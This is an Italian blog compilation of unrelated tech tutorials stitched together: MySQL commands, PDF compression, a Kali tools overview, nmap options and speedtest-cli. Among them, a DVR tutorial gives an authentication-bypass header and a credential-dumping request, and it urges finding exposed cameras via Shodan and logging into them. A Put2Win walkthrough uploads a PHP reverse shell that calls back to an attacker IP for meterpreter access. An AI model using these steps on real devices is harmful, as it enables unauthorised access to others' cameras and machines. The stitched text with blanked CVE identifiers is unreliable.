La prima linea di difesa del database è il sistema di privilegi di accesso di MySQL. MySQL consente di creare utenti specifici con autorizzazioni limitate solo su determinati database. Gli utenti sono identificati dalla combinazione di nome, password e host (ovvero, su quale computer si trova l'utente). Per iniziare, crea nomi utente unici e sicuri con password uniche ed estremamente sicure. E, come praticamente per tutto, è davvero meglio cambiare quelle password regolarmente. Inoltre, assicurati di cambiare la password dell'utente root su una nuova installazione di MySQL.

Successivamente, ogni utente MySQL dovrebbe essere in grado di connettersi a MySQL solo da localhost o 127.0.0.1 (ovvero dallo stesso server).

Per accedere da una shell UNIX , il comando è:

Comando: mysql -h localhost -u root -p

Per creare un nuovo database, la sintassi è:

Comando: crea database [nome database];

Per visualizzare tutti i database, il comando è:

Comando: mostra database;

Puoi facilmente passare a qualsiasi database digitando il seguente comando:

Comando: usa [nome database];

Supponiamo di volere una tabella di colonne (nome, email e password), quindi il comando è:

Comando: CREATE TABLE utenti (nome VARCHAR(20), email VARCHAR(20), password VARCHAR(20));

E nel caso, se vuoi creare una colonna con la chiave primaria, il comando è:

Comando: CREATE TABLE records (id int(11) not null auto_increment chiave primaria, nome VARCHAR(240), secondo nome VARCHAR(240), cognome VARCHAR(240));

Per vedere tutte le tabelle in un particolare DB, il comando è:

Comando: mostra tabelle;

Per visualizzare tutti i formati dei campi del database, la sintassi è:

Comando: descrivi [nome tabella];

Per eliminare qualsiasi database, la sintassi è:

Comando: drop database [nome database];

E per eliminare qualsiasi tabella, il comando è:

Comando: drop table [nome tabella];

Per inserire dati in una particolare tabella, il comando è:

Comando: INSERT into [nome tabella] (colonna1, colonna2, colonna3) VALUES ('valore1', 'valore2', 'valore3');

Mostra tutti i dati in una tabella, il comando è:

Comando: seleziona * da [nome tabella];

Restituisce le colonne e le informazioni sulle colonne relative alla tabella designata, il comando è:

Comando: selezionare [nome colonna] da [nome tabella];

Mostra alcune righe selezionate con il valore "qualunque cosa", il comando è:

Comando: SELECT * FROM [nome tabella] WHERE [nome campo] = "qualunque cosa";

Se si desidera visualizzare i risultati che contengono due valori, è possibile utilizzare l'operatore AND come mostrato di seguito:

Comando: SELECT * FROM [nome tabella] WHERE [nome campo] = "qualunque cosa" AND [nome campo] = "qualcosa";

Per visualizzare tutti i record tranne un valore di campo, il comando è:

Comando: SELECT * FROM [nome tabella] WHERE [nome campo] != “valore”;

Mostra tutti i record a partire da un nome particolare, quindi puoi utilizzare l'operatore LIKE:

Comando: SELECT * FROM [nome tabella] WHERE [nome campo] LIKE “jo%”;

Per mostrare record univoci, puoi utilizzare l'operatore DISTINCT invece del simbolo *:

Comando: SELECT DISTINCT [nome colonna] FROM [nome tabella];

Mostra i record selezionati ordinati in ordine crescente o decrescente, quindi il comando è:

Comando: SELECT [nome colonna], [nome colonna] FROM [nome tabella] ORDER BY [nome colonna] DESC;

Se vuoi restituire il numero totale di righe, il comando è:

Comando: SELECT COUNT(*) FROM [nome tabella];

Puoi persino eseguire operazioni matematiche all'interno della query SQL:

Comando: SELECT SUM(id) FROM [nome tabella];

Per aggiornare qualsiasi record, il comando è:

Comando: UPDATE [nome tabella] SET [nome campo] = 'valore' WHERE [nome campo] = 'qualunque cosa';

Nel caso in cui, se si desidera eliminare una determinata riga, il comando è:

Comando: DELETE FROM [nome tabella] WHERE [nome campo] = valore;

E se vuoi eliminare una particolare colonna, puoi usare il comando ALTER:

Comando: ALTER TABLE [nome tabella] DROP COLUMN [nome colonna];

E se vuoi aggiungere una nuova colonna in una tabella esistente, allora il comando è:

Comando: ALTER TABLE [nome tabella] ADD COLUMN [nome colonna] VARCHAR(240);

Allo stesso modo, se vuoi cambiare qualcosa in una colonna esistente, allora il comando è:

Comando: ALTER TABLE [nome tabella] CHANGE COLUMN [vecchio nome colonna] [nuovo nome colonna] VARCHAR (240);

Per aumentare il valore di qualsiasi colonna esistente, il comando è:

Comando: ALTER TABLE [nome tabella] MODIFY [nome colonna] VARCHAR (245);

Qui puoi vedere, il valore VARCHAR del nome della colonna firstname era 240 ma dopo l'alterazione, è 245.

Per scaricare o eseguire il dump di un particolare database, il comando è:

Comando: mysqldump -u root -p –databases [nome database] > /location/db.sql

Per eseguire il dump di una particolare tabella, il comando è:

Comando: mysqldump -u root -p [nome database] [nome tabella] > /location/table.sqll

Sfruttamento delle telecamere DVR – CVE-        -9995 [Tutorial]

   

Un esperto di sicurezza Belahsan Ouerghi ha fatto luce su un nuovo strumento di hacking chiamato DVR Exploiter che sfrutta la vulnerabilità CVE-        -9995 contro i dispositivi IoT. È in grado di estrarre le credenziali dell'account dei dispositivi DVR accedendo così ai dispositivi e ai loro feed video.

Dispositivi TBK DVR4104 e DVR4216, nonché Novo, CeNova, QSee, Pulnix, XVR 5 in 1, Securus, Night OWL, DVR Login, HVR Login e MDVR Login, che eseguono versioni rinominate dell'originale TBK DVR4104 e DVR4216 serie, consentono agli aggressori remoti di aggirare l'autenticazione tramite un'intestazione " Cookie: uid=admin ", come dimostrato da una richiesta device.rsp?opt=user&cmd=list che fornisce le credenziali all'interno dei dati JSON in una risposta.

Più di 50.000 telecamere sono ancora vulnerabili a questa vulnerabilità che ha già creato scompiglio in Internet. Una delle principali preoccupazioni relative a GetDvR e alla vulnerabilità CVE-        -9995 e CVE-        -10676 associata è il fatto che esistono molte versioni "white label" e rinominate delle apparecchiature DVR IoT di TBK. Molti marchi e venditori online pubblicizzano i dispositivi utilizzando nomi diversi e per alcuni utenti potrebbe essere difficile aggiornarli.

Il primo passo è installare lo script bash come mostrato di seguito:

Comando:  git clone https://github.com/TunisianEagles/DVR-Exploiter.git

Successivamente, concedi le autorizzazioni eseguibili complete al file bash con il comando  chmod +x DVR-Exploiter.sh ed esegui il file digitando  ./DVR-Exploiter.sh come mostrato di seguito:

Ora qui hai due opzioni, puoi trovare il tuo obiettivo in IP o in formato dominio, in base a ciò puoi selezionare l'opzione.

Esistono molti modi per trovare videocamere DVR vulnerabili online con l'aiuto di Google o Shodan.

Con Shodan, puoi vedere il seguente output:

Una volta trovato l'IP o il dominio in cui sono in esecuzione le telecamere DVR, copia quell'host e incollalo nel terminale dello strumento e premi invio che estrae le credenziali di DVR Camera Box.

Accedi alla telecamera DVR nel browser Internet Explorer (assicurati di dover installare il plug-in DVR per visualizzare lo schermo) e accedi con credenziali valide.

Non appena avrai effettuato l'accesso, vedrai la schermata di benvenuto con l'elenco delle telecamere 🙂

Altri metodi/strumenti di sfruttamento –

Riduci le dimensioni dei file PDF in Linux con Ghostscript

3 anni fa Nancy Culbreth

Vuoi comprimere i file PDF?

Ora avrai l'opportunità di comprimere le dimensioni di qualsiasi file PDF tramite la riga di comando. L'intero processo richiede poco meno di 1 minuto per convertire il file PDF con una dimensione ridotta.

Riducendo le dimensioni del file, il documento può essere facilmente inviato via e-mail, trasmesso e archiviato in modo più efficiente.

Ogni file PDF viene generato o prodotto secondo una specifica. Questa specifica si è evoluta dalla versione 1.0 alla versione 2.0. Per conoscere tutte le differenze, leggi di più sul formato file PDF . A volte gli utenti si trovano di fronte al dilemma che una determinata applicazione riconosce solo una versione specifica di un file PDF. Ad esempio, alcuni editori di riviste accettano solo l'invio di file PDF della versione 1.4 o successiva, alcune applicazioni Windows obsolete leggono solo file PDF della versione 1.2. Supponi di avere un file PDF della versione 1.1, cosa vorresti fare?

Ghostscript è un interprete e motore di rendering Postscript e PDF ad alte prestazioni con il set più completo di linguaggi di descrizione della pagina (PDL) oggi sul mercato e capacità di conversione tecnologica che coprono i linguaggi PDF, PostScript, PCL e XPS.
Il tuo primo passo è installare il pacchetto Ghostscript digitando il seguente comando nel tuo terminale:

Comando: sudo apt-get install ghostscript

Ghostscript è l'unica suite che fornisce l'utilità ps2pdf utilizzata per comprimere i file PDF.

ps2pdf è implementato come uno script di comando molto piccolo (file batch) che richiama Ghostscript, selezionando uno speciale "dispositivo di output" chiamato pdfwrite.

ps2pdf è simile a quasi tutte le funzionalità (ma non l'interfaccia utente) del prodotto AcrobatTM DistillerTM di Adobe: converte i file PostScript in file PDF (Portable Document Format).

Comando: ps2pdf grande.pdf piccolo.pdf

Che riducono le dimensioni del file large.pdf e creano un nuovo file small.pdf nella stessa posizione mostrata di seguito:

Nota che OutputFile verrà sempre scritto e se non ci sono (ulteriori) input il file sarà una singola pagina vuota.

Conversione di JPG in PDF

Pur avendo un formato immagine, come JPG o Jpeg, è ottimo per scopi di editing, ci sono dei limiti intrinseci. Nel caso di TIFF (Tag Image File Format), è anche utile per la modifica di più immagini, ma non è eccezionale per le immagini modificate ripetute.

La maggior parte delle persone non sa che esistono molti tipi e formati di file diversi nel mondo dei computer. Tieni presente che la maggior parte delle immagini disponibili non è stata creata utilizzando un solo formato. Molte immagini, anche se create in un unico formato, avranno più formati. Ciò include le immagini utilizzate in brochure, libri, presentazioni e nei siti web. Detto questo, è importante considerare come le immagini possono essere convertite da un formato all'altro.

Poiché Jpeg è ampiamente utilizzato, ci sono molti modi per convertirlo in vari formati. Un modo per convertire le immagini in formato JPG in PDF è utilizzare uno strumento di conversione. La maggior parte delle persone sceglie di utilizzare Adobe Photoshop per eseguire la conversione. Photoshop può aprire qualsiasi tipo di file immagine, sia esso Jpeg o un altro formato. È anche facile da usare ed è uno dei programmi più popolari per convertire le immagini nei formati più comuni su Internet.
La conversione di immagini nel formato PDF può creare molti vantaggi, come i seguenti:

Una volta che hai deciso di convertire le tue immagini, assicurati di guardarti intorno e trovare il programma giusto per convertirle.

I 10 strumenti di hacking Kali Linux più popolari e utili

   

Kali è l'ultima e la migliore versione della sempre popolare distribuzione di test di penetrazione Backtrack Linux. I creatori della serie Backtrack hanno mantenuto Kali in un formato molto simile a Backtrack, quindi chiunque abbia familiarità con la vecchia piattaforma Backtrack si sentirà come a casa.

Kali include più di 500 strumenti di test di sicurezza. Molti degli strumenti ridondanti di Backtrack sono stati rimossi e l'interfaccia degli strumenti semplificata. Ora puoi accedere rapidamente agli strumenti più utilizzati poiché vengono visualizzati in un menu dei primi dieci strumenti di sicurezza. Puoi anche trovare questi stessi strumenti e una miriade di altri tutti ordinatamente classificati nel sistema di menu.

Kali ti consente di utilizzare strumenti e tecniche simili a quelli che un hacker utilizzerebbe per testare la sicurezza della tua rete in modo da poter trovare e correggere questi problemi prima che un vero hacker li trovi.

Ci sono molti altri strumenti che possono essere utilizzati in qualsiasi modo tu voglia. Da Aircrack-ng a Metasploit Framework , sono tutti i migliori strumenti nel mondo della tecnologia e tutti possono essere trovati in tutte le versioni di Kali Linux.

Oltre a contenere strumenti che possono essere utilizzati per l'attività di test di penetrazione, Kali Linux include anche diversi strumenti che puoi utilizzare per quanto segue:

1. Crack aereo

Aircrack-ng è un programma di cracking di chiavi 802.11 WEP e WPA-PSK in grado di recuperare le chiavi una volta acquisiti un numero sufficiente di pacchetti di dati. Implementa l'attacco FMS standard insieme ad alcune ottimizzazioni come gli attacchi KoreK, nonché il nuovissimo attacco PTW, rendendo così l'attacco molto più veloce rispetto ad altri strumenti di cracking WEP.

Lettura consigliata:

2. Quadro metasploit

Metasploit è una piattaforma di test di penetrazione che consente di trovare, sfruttare e convalidare le vulnerabilità. Metasploit è fondamentalmente un progetto che fornisce informazioni sulle vulnerabilità della sicurezza e aiuta nei test di penetrazione, ma ancora una volta viene utilizzato in modo improprio dagli hacker per sfruttare queste vulnerabilità.

Questo strumento è uno dei migliori strumenti per un'azienda di test di sicurezza che fornisce un framework completo o un parco giochi per i test ed è caricato con oltre un migliaio di exploit, centinaia di payload e codificatori multipli.

Metasploit può creare un po' di confusione se non l'hai mai usato prima, ma una volta che ti sei abituato a come funziona, puoi fare cose incredibili con esso

Lettura consigliata:

3. Scansione WPS

Kali Linux ha un'abbondante quantità di strumenti prontamente disponibili in un attimo, ma il vero potere di questi strumenti brilla solo quando gli strumenti vengono utilizzati correttamente e nel giusto ordine. Quando si testano le applicazioni Web, la
metodologia di test non è diversa dalle prime tre fasi della metodologia hacker; ricognizione, scansione e sfruttamento.

Ad esempio,  WPScan viene utilizzato specificamente contro le applicazioni CMS di WordPress.

WPScan è uno scanner di vulnerabilità di WordPress a scatola nera che può essere utilizzato per scansionare installazioni WordPress remote per trovare problemi di sicurezza.

Lettura consigliata:

4. Nmap

È fondamentalmente uno scopritore di rete. Racconta degli host aperti e utilizzati per la gestione della rete, ma può anche dirti del sistema operativo, nonché della versione del firewall utilizzato e di tante cose che gli hacker utilizzano per sfruttare una rete. È fondamentalmente creato per il controllo della sicurezza, ma utilizzato come strumento di penetrazione dagli hacker in quanto può dirti quali informazioni sulla fonte appartengono solo all'IP della vittima presa di mira.

Uno dei primi passaggi utilizzati da molti tester di sicurezza è eseguire una scansione "nmap" per cercare di determinare quali porte sono aperte e, si spera, anche quali servizi sono installati su tali porte. Se riesci a determinare le porte aperte e le versioni del programma di servizio, puoi facilmente sfruttare una vulnerabilità nel servizio e compromettere l'intera macchina.

Lettura consigliata:

Nmap ha anche una versione GUI chiamata Zenmap, che può essere richiamata emettendo il comando zenmap nella finestra del terminale o andando su Applicazioni | KalìLinux | Raccolta di informazioni | Scanner di rete | mappa zen .

Ad esempio, se vogliamo rilevare l'impronta digitale del sistema operativo utilizzato sulla macchina 192.168.20.128, utilizziamo il seguente comando:

Comando:  nmap -O 192.168.20.128

Oltre ad essere utilizzato come port scanner, Nmap ha molte altre funzionalità come segue:

5. Wireshark

Wireshark è l'analizzatore di protocolli di rete più importante al mondo. Wireshark è uno degli strumenti più utilizzati in Kali Linux. È precedentemente noto come Ethereal.

Wireshark è un analizzatore di pacchetti di rete. Viene utilizzato principalmente per l'apprendimento dei pacchetti di rete in quanto è uno dei migliori strumenti che fornisce pacchetti in forma leggibile dall'uomo. È lo strumento principale per l'ispezione approfondita di centinaia di protocolli. Può acquisire pacchetti offline e online.

Lettura consigliata:

E la parte migliore di wireshark è che supporta la decrittazione per molti protocolli tra cui WEP, WPA, WPA2 e molti altri.

Wireshark utilizza un toolkit widget GTK+ per implementare la sua interfaccia utente e pcap per catturare i pacchetti. Funziona in modo molto simile a un comando tcpdump; tuttavia, fungendo da frontend grafico con opzioni di ordinamento e filtro integrate.

6. Mappa SQL

Sqlmap è uno strumento di test di penetrazione open source che automatizza il processo di rilevamento e sfruttamento dei difetti di SQL injection e di acquisizione dei server di database.

Viene fornito con un potente motore di rilevamento, molte funzionalità di nicchia per il penetration tester definitivo e un'ampia gamma di opzioni che durano dall'impronta digitale del database, al recupero dei dati dal database, all'accesso al file system sottostante e all'esecuzione di comandi sul sistema operativo tramite out- connessioni fuori banda.

La sintassi di base per utilizzare Sqlmap è:  sqlmap -u URL –funzione

Lettura consigliata:

Sqlmap automatizza il processo di rilevamento e sfruttamento dei difetti di SQL injection e di acquisizione dei server di database.

Sqlmap viene fornito con un motore di rilevamento, nonché un'ampia gamma di funzionalità di test di penetrazione che vanno dall'impronta digitale del database all'accesso al file system sottostante e all'esecuzione di comandi sul sistema operativo tramite connessioni fuori banda.

7. Ettercap

Ettercap è uno strumento di sicurezza di rete gratuito e open source per attacchi man-in-the-middle su LAN. Può essere utilizzato per l'analisi del protocollo di rete del computer e il controllo della sicurezza. Funziona su vari sistemi operativi simili a Unix tra cui Linux, Mac OS X, BSD e Solaris e su Microsoft Windows.

Ettercap è una suite di strumenti per eseguire un attacco man-in-the-middle alla LAN. Eseguirà attacchi al protocollo ARP posizionandosi come l'uomo nel mezzo. Una volta raggiunto questo obiettivo, è in grado di eseguire le seguenti operazioni:

Lettura consigliata:

Ettercap viene fornito con tre modalità di funzionamento: modalità testo, modalità curses e modalità grafica utilizzando GTK.

8. Quadro Manzo

BeEF è l'abbreviazione di The Browser Exploitation Framework. È uno strumento di test di penetrazione che si concentra sul browser web. BeEF può essere molto interessante con cui giocare e abbastanza facile da usare una volta capito.

Tra le crescenti preoccupazioni per gli attacchi trasmessi dal Web contro i client, inclusi i client mobili, BeEF consente al penetration tester professionista di valutare l'effettiva posizione di sicurezza di un ambiente target utilizzando vettori di attacco lato client.

Lettura consigliata:

A differenza di altri framework di sicurezza, BeEF guarda oltre il perimetro di rete rafforzato e il sistema client ed esamina l'exploitability nel contesto dell'unica porta aperta: il browser web. BeEF collegherà uno o più browser web e li utilizzerà come teste di ponte per lanciare moduli di comando diretti e ulteriori attacchi contro il sistema dall'interno del contesto del browser.

I moduli di BeEF svolgono anche le seguenti attività come:

9. SEToolkit (kit di strumenti di ingegneria sociale)

Gli attacchi di ingegneria sociale sono oggi una delle principali tecniche utilizzate contro le reti. Perché spendere giorni, settimane o addirittura mesi cercando di penetrare i livelli di sicurezza della rete quando puoi semplicemente indurre un utente a eseguire un file che ti consente l'accesso completo alla sua macchina e aggira antivirus, firewall e molti sistemi di rilevamento delle intrusioni?

Questo è più comunemente usato oggi negli attacchi di phishing, crea un'e-mail o crea un sito Web falso che induce gli utenti a eseguire un file dannoso che crea una backdoor nel loro sistema. Ma come esperto di sicurezza, come puoi testarlo sulla tua rete? Un tale attacco funzionerebbe e come potresti difenderti da esso?

Il Social-Engineer Toolkit è un framework di test di penetrazione open source progettato per l'ingegneria sociale. SET ha una serie di vettori di attacco personalizzati che ti consentono di effettuare un attacco credibile in una frazione del tempo.

Lettura consigliata:

Il Social Engineering Toolkit è davvero uno strumento robusto e ricco di funzionalità per qualsiasi team di test di sicurezza aziendale.

Alcuni dei metodi di attacco più efficienti e utili impiegati da SET includono e-mail di phishing mirate con un allegato di file dannoso, attacchi di applet Java, sfruttamento basato su browser, raccolta di credenziali di siti Web, creazione di supporti portatili infettivi (USB/DVD/CD), mass -mailer e altri vettori web multi-attacco simili.

Questa combinazione di metodi di attacco fornisce una potente piattaforma per utilizzare e selezionare la tecnica più persuasiva che potrebbe eseguire un attacco avanzato contro l'elemento umano.

10. Giovanni lo Squartatore

Il cracking delle password è un'attività utilizzata da tutti i penetration tester. Intrinsecamente, la parte più insicura di qualsiasi sistema sono le password inviate dagli utenti. Indipendentemente dalla politica delle password, gli esseri umani odiano inevitabilmente inserire password complesse o reimpostarle tutte le volte che dovrebbero. Questo li rende un facile bersaglio per gli hacker.

John the Ripper è uno dei cracker di password più veloci. È usato per attacchi di forza bruta. Viene anche utilizzato per l'attacco del dizionario in cui prende una password da un elenco di parole e prima la converte nel formato in cui la password verrà testata e quindi decifra la password.

La parte migliore è che può essere eseguito anche con password crittografate, tipi di hash presenti nella maggior parte degli UNIX e persino con l'hash LM di Windows.

Attualmente, può decifrare più di 40 tipi di hash delle password, come DES, MD5, LM, NT, crypt, NETLM e NETNTLM.

John supporta le seguenti quattro modalità di cracking delle password:

Sfruttamento del metodo HTTP PUT con Put2Win (Meterpreter Shell)

   

Dall'articolo precedente , ci siamo imbattuti in diverse azioni eseguite dai metodi HTTP in cui avevamo descritto il ruolo del metodo PUT che consente al client di caricare un file sul server in modi diversi, ad esempio con Netcat , con Nmap , con BurpSuite , con Curl , con Quickput , con Cadaver e con Metasploit Framework .

Configurazione dell'ambiente di test –

I metodi che abbiamo spiegato in precedenza richiedono del lavoro manuale per ottenere l'accesso completo alla macchina, ma con l'aiuto di Put2Win , puoi facilmente ottenere la shell meterpreter con un solo comando.

Put2Win è un piccolo strumento da riga di comando che consente di caricare un file su un server utilizzando il metodo HTTP PUT e di automatizzare il processo per ottenere la connessione TCP inversa a meterpreter.

Installazione di Put2Win –

L'installazione può essere eseguita facilmente con l'aiuto di git digitando il seguente comando:

Comando: git clone https://github.com/sysdevploit/put2win

Prima di eseguire lo script, assicurati di fornire le autorizzazioni eseguibili al file Put2win.sh digitando chmod +x Put2win.sh  e quindi esegui il seguente comando sulla macchina di destinazione.

Sintassi: ./Put2win.sh -t <IP bersaglio> -u <Directory> -l <IP aggressore>

In questo caso, il nostro IP di destinazione è " 192.168.20.128 ", l'IP dell'attaccante è " 192.168.20.136 " e la directory in cui è abilitato il metodo HTTP PUT è " / dav ".

Come puoi vedere, la PHP Reverse TCP Shell ( license.php ) è stata caricata con successo nella directory /dav e, insieme a, avvia anche un modulo listener nel framework metasploit come lavoro in background.

Ora, non appena esegui la shell php tramite il browser Web accedendo a http://192.168.20.128/dav/license.php , otterrai automaticamente la connessione TCP inversa nella shell meterpreter come mostrato di seguito:

Ora possiamo usare ulteriori comandi meterpreter per controllare maggiormente la macchina.

19 Comandi NMAP utili che dovresti conoscere

   

Network Mapper (Nmap) è uno degli strumenti più efficaci e funzionali di Kali Linux. Nmap può essere utilizzato per eseguire una vasta gamma di diverse tecniche di scansione ed è altamente personalizzabile.

Nmap è di gran lunga lo strumento di raccolta informazioni più popolare. È un potente strumento che viene utilizzato per scansionare un computer o una rete completa alla ricerca di porte aperte insieme a servizi in esecuzione su tali porte. Queste informazioni possono essere utili per revisori professionali e pen-tester al fine di mirare a determinati servizi per compromettere l'obiettivo. Passando il seguente comando verranno elencate le varie opzioni di scansione disponibili:

Comando: nmap -h

Digitando nmap [nome host] o nmap [indirizzo IP] verrà avviata una scansione predefinita. Una scansione predefinita utilizza 1000 porte TCP comuni e ha abilitato Host Discovery.

Lettura suggerita:  5 comandi Nmap più comunemente usati

[#] Scansiona singolo indirizzo IP/dominio –

Sintassi: nmap <IP/nome host>

Il comando precedente avvierà una scansione predefinita rispetto al target. Quando la scansione è completa, dovresti vedere un rapporto di scansione Nmap simile a quello mostrato nell'immagine qui sotto.

Noterai che le informazioni restituite sono PORT | STATO | SERVIZIO . Prima di approfondire i comandi, sarebbe utile sapere cosa significano i diversi " STATI ".

Allo stesso modo, puoi fare lo stesso per qualsiasi dominio di destinazione come mostrato di seguito:

Sintassi: nmap <dominio>

Nel caso in cui, se si desidera aumentare il livello di verbosità, è possibile utilizzare  l'opzione -v come mostrato di seguito:

Sintassi: nmap -v <IP/Dominio>

[#] Scansiona un intervallo di indirizzi IP –

Se desideri specificare un intervallo come da 192.168.20.1 a 192.168.20.128, puoi utilizzare il seguente comando:

Sintassi: nmap <Intervallo IP 1 – Intervallo IP 2>

[#] Scansione rete per computer attivi (salta la scansione delle porte) –

Nella sua modalità standard, nmap esegue due diversi tipi di scansione: una scansione dell'host , per determinare quali host sono disponibili per un'ulteriore scansione delle porte, e una scansione delle porte , che rivela lo stato delle porte sulle macchine disponibili.

Con -sn non esegue la scansione delle porte, ma esegue una scansione dell'host, questo è particolarmente utile durante la scansione di un intervallo con nmap, dove stamperà quegli host che hanno risposto alla scansione o puoi dire che cercherà gli host attivi soltanto.

Sintassi: nmap -sn <IP/Dominio/Intervallo>

[#] Scansiona un elenco di host dal file di input –

Sintassi: nmap -iL <file>

Con questa opzione, puoi persino passare un enorme elenco di host. Le voci possono essere in uno qualsiasi dei formati accettati da Nmap sulla riga di comando (indirizzo IP, nome host, CIDR, IPv6 o intervalli di ottetti). Ogni voce deve essere separata da uno o più spazi, tabulazioni o newline.

[#] Escludi IP/host/rete –

Puoi anche escludere qualsiasi IP/Host/Rete dalla scansione con l'opzione –exclude come mostrato di seguito:

Sintassi: nmap <IP-Range> –exclude <IP>

E nel caso, se si desidera escludere un numero elevato di host/IP, è possibile utilizzare  l'opzione –excludefile .

[#] Cerca una porta specifica –

L' opzione -p specifica quali porte si desidera scansionare e sovrascrive l'impostazione predefinita.

I singoli numeri di porta sono OK, così come gli intervalli separati da un trattino (ad es. 1-1023).

Sintassi: nmap -p 80 <IP>

I valori iniziale e/o finale di un intervallo possono essere omessi, facendo sì che Nmap usi rispettivamente 1 e 65535. Quindi puoi specificare -p- o -p "*" per scansionare le porte da 1 a 65535.

Sintassi: nmap -p “*” <IP>

Per eseguire la scansione delle porte principali più comuni, è possibile utilizzare l'opzione –top-ports  .

Ad esempio, se si desidera eseguire la scansione della maggior parte delle 10 porte per la scansione rispetto a qualsiasi destinazione, il comando dovrebbe essere:

Comando: nmap –top-ports 10 <IP/Dominio>

[#] Cerca porte TCP –

La scansione di connessione TCP è il tipo di scansione TCP predefinito quando la scansione SYN non è un'opzione. Questo è il caso in cui un utente non dispone dei privilegi sui pacchetti non elaborati. Invece di scrivere pacchetti non elaborati come fanno la maggior parte degli altri tipi di scansione, Nmap chiede al sistema operativo sottostante di stabilire una connessione con la macchina e la porta di destinazione emettendo la chiamata di sistema connect.

Sintassi: nmap -sT <IP>

E nel caso, se si desidera eseguire la scansione solo per una determinata porta TCP, il comando è:

Sintassi: nmap -p T:80 <IP>

[#] Cerca porte UDP –

Allo stesso modo, puoi fare lo stesso per le porte UDP anche con l'opzione -sU.

Mentre i servizi più popolari su Internet vengono eseguiti sul protocollo TCP, i servizi UDP sono ampiamente diffusi. DNS, SNMP e DHCP (porte registrate 53, 161/162 e 67/68) sono tre dei più comuni. Poiché la scansione UDP è generalmente più lenta e più difficile di quella TCP, alcuni revisori della sicurezza ignorano queste porte.

Sintassi: nmap -sU <IP>

[#] Esegui una scansione veloce –

Con l'opzione -F, nmap ha la capacità di lavorare in modalità veloce.

Sintassi: nmap -F <IP/Dominio>

[#] Visualizza lo stato del motivo –

Con l'opzione –reason , puoi persino visualizzare il motivo per cui la porta si trova in uno stato particolare.

Sintassi: nmap –reason <IP/Dominio>

[#] Visualizza solo porte APERTE –

A volte ti interessano solo le porte a cui puoi effettivamente connetterti (quelle aperte) e non vuoi che i risultati siano ingombri di porte chiuse, filtrate e chiuse|filtrate.

Sintassi: nmap –open <IP/Dominio>

[#] Rileva il rilevamento del sistema operativo –

Con -O (O maiuscola), puoi persino rilevare il sistema operativo di destinazione dietro di esso utilizzando l'impronta digitale dello stack TCP/IP. Nmap invia una serie di pacchetti TCP e UDP all'host remoto ed esamina le risposte. Dopo aver eseguito dozzine di test, Nmap confronta i risultati con il suo database e stampa i dettagli del sistema operativo se c'è una corrispondenza.

Comando: nmap -O <IP/Dominio>

[#] Rilevamento della versione del servizio –

Il comando seguente viene utilizzato per cercare il servizio in esecuzione. Nmap contiene un database di oltre 2000 servizi noti e porte associate. Esempi di questi servizi sono HTTP (porta 80), SMTP (porta 25), DNS (porta 53) e SSH (porta 22):

Sintassi : nmap -sV <IP>

In alternativa, puoi usare -A , che abilita il rilevamento della versione tra le altre cose.

[#] Rilevamento firewall –

Puoi persino scoprire se un host è protetto da firewall/filtri pacchetti o meno digitando il comando seguente:

Sintassi: nmap -sA <IP>

[#] Spoofing dell'indirizzo MAC –

Chiede a Nmap di usare l'indirizzo MAC fornito per tutti i frame Ethernet grezzi che invia.

L' opzione –spoof-mac influisce solo sulle scansioni dei pacchetti grezzi come SYN scan o il rilevamento del sistema operativo, non sulle funzionalità orientate alla connessione come il rilevamento della versione o il motore di scripting Nmap.

[#] TCP Null/Fin/Xmas Scan –

Questi tre tipi di scansione sfruttano una sottile scappatoia nella RFC TCP per distinguere tra porte aperte e porte chiuse.

Nmap sfrutta questo con tre tipi di scansione:

Questi tre tipi di scansione hanno esattamente lo stesso comportamento ad eccezione dei flag TCP impostati nei pacchetti probe. Se viene ricevuto un pacchetto RST, la porta viene considerata chiusa, mentre nessuna risposta significa che è aperta|filtrata.

Per Null Scan, il comando è:

Sintassi: nmap -sN <IP>

Per FIN Scan, il comando è:

Sintassi: nmap -sF <IP>

Per XMAS Scan, il comando è:

Sintassi: nmap -sX <IP>

[#] Scansione furtiva –

La scansione SYN è l'opzione di scansione predefinita e più popolare per buoni motivi. Può essere eseguito rapidamente, scansionando migliaia di porte al secondo su una rete veloce non ostacolata da firewall restrittivi.

È anche relativamente discreto e furtivo poiché non completa mai le connessioni TCP.

La scansione SYN funziona su qualsiasi stack TCP conforme piuttosto che dipendere dalle idiosincrasie di piattaforme specifiche come fanno le scansioni FIN/NULL/Xmas, Maimon e idle di Nmap.

Consente inoltre una differenziazione chiara e affidabile tra gli stati aperto, chiuso e filtrato.

Sintassi: nmap -sS <IP>

[#] Disattiva rilevamento host –

Dice a Nmap di non eseguire mai la risoluzione DNS inversa sugli indirizzi IP attivi che trova. Poiché il DNS può essere lento anche con il risolutore di stub parallelo integrato di Nmap, questa opzione può ridurre drasticamente i tempi di scansione.

Sintassi: nmap -Pn <IP>

[#] Salva output Nmap –

Qualsiasi strumento di sicurezza è utile solo quanto l'output che genera. Test e algoritmi complessi hanno poco valore se non sono presentati in modo organizzato e comprensibile. Dato il numero di modi in cui Nmap viene utilizzato dalle persone e da altri software, nessun singolo formato può piacere a tutti. Quindi Nmap offre diversi formati , inclusa la modalità interattiva per la lettura diretta da parte degli umani e XML per una facile analisi tramite software.

Per salvare semplicemente il risultato di Nmap, puoi utilizzare il comando seguente.

Sintassi: nmap <IP> > nomefile.txt

Nel caso, se si desidera salvare l'output di Nmap in formato XML, il comando sarà:

Sintassi: nmap -oX filename.xml <IP>

Metti alla prova la velocità di Internet con lo strumento della riga di comando

   

Vuoi sapere quanto è veloce la tua connessione internet? Questo può essere fatto con un test della velocità di Internet. Esistono vari test su Internet per misurare la velocità della tua connessione. Lo strumento della riga di comando di seguito può mostrare facilmente la velocità di caricamento e download.

Quando si avvia un test di velocità Internet, viene prima eseguito un breve test per una prima stima della connessione Internet. Sulla base del risultato, lo Speedtest sceglie un file più grande per fare il vero test di download e misurare con precisione la tua velocità. Anche per la velocità di upload lo Speedtest fa una prima stima della tua velocità caricando un piccolo file.

Usa il seguente comando per scaricare il pacchetto di speedtest-cli che contiene uno script python attraverso il quale puoi facilmente controllare la tua velocità di internet.

Comando: git clone https //github.com/sivel/speedtest-cli.git

Non dimenticare di concedere i permessi eseguibili al file speedtest.py .

Il modo più semplice per rendere disponibili gli script a tutti gli utenti del tuo computer è inserirli in /usr/local/bin . Tuttavia, ciò richiede che tu abbia i privilegi di root. Poiché questa directory è di proprietà dell'utente root, devi essere un amministratore e utilizzare sudo per spostare i file lì.

Comando: sudo cp -rf speedtest.py /usr/local/bin/speedtest

Anche lo script dovrebbe essere di proprietà e scrivibile per root, ma leggibile ed eseguibile per tutti.

Comando: sudo chown root:root /usr/local/bin/speedtest

